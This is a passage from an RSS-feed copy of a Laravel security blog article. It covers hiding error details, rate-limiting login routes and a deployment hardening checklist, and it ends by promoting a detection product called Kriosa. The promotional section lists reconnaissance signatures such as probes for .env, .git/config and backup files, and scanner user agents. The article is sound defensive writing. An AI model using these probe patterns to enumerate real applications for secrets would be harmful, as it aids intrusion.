        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;isHttpException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="s1"&gt;'errors.'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getStatusCode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                &lt;span class="p"&gt;[],&lt;/span&gt;
                &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getStatusCode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'errors.500'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Rate limit sensitive routes:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// routes/web.php&lt;/span&gt;
&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'throttle:5,1'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AuthController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/admin/login'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;AdminController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;5 attempts per minute. After that, Laravel applies throttling and returns a 429 response until the limit window resets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Deployment Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Run this after every deployment:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;APP_DEBUG=false&lt;/code&gt; confirmed in production&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;APP_ENV=production&lt;/code&gt; confirmed&lt;/li&gt;
&lt;li&gt;.env file not accessible via browser&lt;/li&gt;
&lt;li&gt;.git directory not in web root or blocked at server level&lt;/li&gt;
&lt;li&gt;Telescope, Horizon, Debugbar behind authentication or IP restriction&lt;/li&gt;
&lt;li&gt;Directory listing disabled&lt;/li&gt;
&lt;li&gt;Technology headers removed&lt;/li&gt;
&lt;li&gt;No backup or temporary files in public directories&lt;/li&gt;
&lt;li&gt;Admin routes rate limited&lt;/li&gt;
&lt;li&gt;Custom error pages returning generic messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where Kriosa Fits&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security configuration reduces your attack surface, but it does not stop attackers from trying. Every public application receives automated scanning sooner or later.&lt;/p&gt;

&lt;p&gt;Reconnaissance generates distinctive traffic patterns that differ from normal user behavior.&lt;/p&gt;

&lt;p&gt;Rapid sequential requests to non-existent paths. Requests for known sensitive file locations like .env, .git/config, and backup extensions. Requests with scanner user agent strings. Unusual probing patterns against admin route locations.&lt;/p&gt;

&lt;p&gt;These patterns are exactly what Kriosa's ML engine detects flagging reconnaissance activity in your XAI dashboard before it turns into exploitation.&lt;/p&gt;

&lt;p&gt;You cannot always prevent an attacker from probing your app. You can prevent your app from giving useful answers. And you can know the moment probing starts.&lt;/p&gt;

&lt;p&gt;Configuration closes the information gaps. Kriosa watches for the probing behavior.&lt;/p&gt;

&lt;p&gt;Both layers together.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt; . Kriosa &lt;a href="//kriosa.com/documentation.php"&gt;documentation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Series So Far&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;Article 5&lt;/a&gt;: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: This article — how attackers enumerate your Laravel app and what to hide&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>laravel</category>
    </item>
  </channel>
</rss>
